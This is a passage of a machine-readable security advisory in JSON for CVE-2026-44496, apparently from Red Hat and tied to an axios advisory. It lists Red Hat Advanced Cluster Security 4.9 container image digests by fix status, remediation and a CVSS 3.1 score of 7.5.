"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"known_not_affected": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44496"
},
{
"category": "external",
"summary": "RHBZ#2487943",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487943"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44496"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44496",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44496"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf"
}
],
"release_date": "2026-06-11T15:34:28.492000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-05-26T14:29:00+00:00",
"details": "If you are using an earlier version of RHACS, you are advised to\nupgrade to the version of RHACS mentioned in the synopsis and release\nnotes in order to take advantage of the enhancements, bug fixes, and/or\nsecurity patches in the release.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:20938"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64",
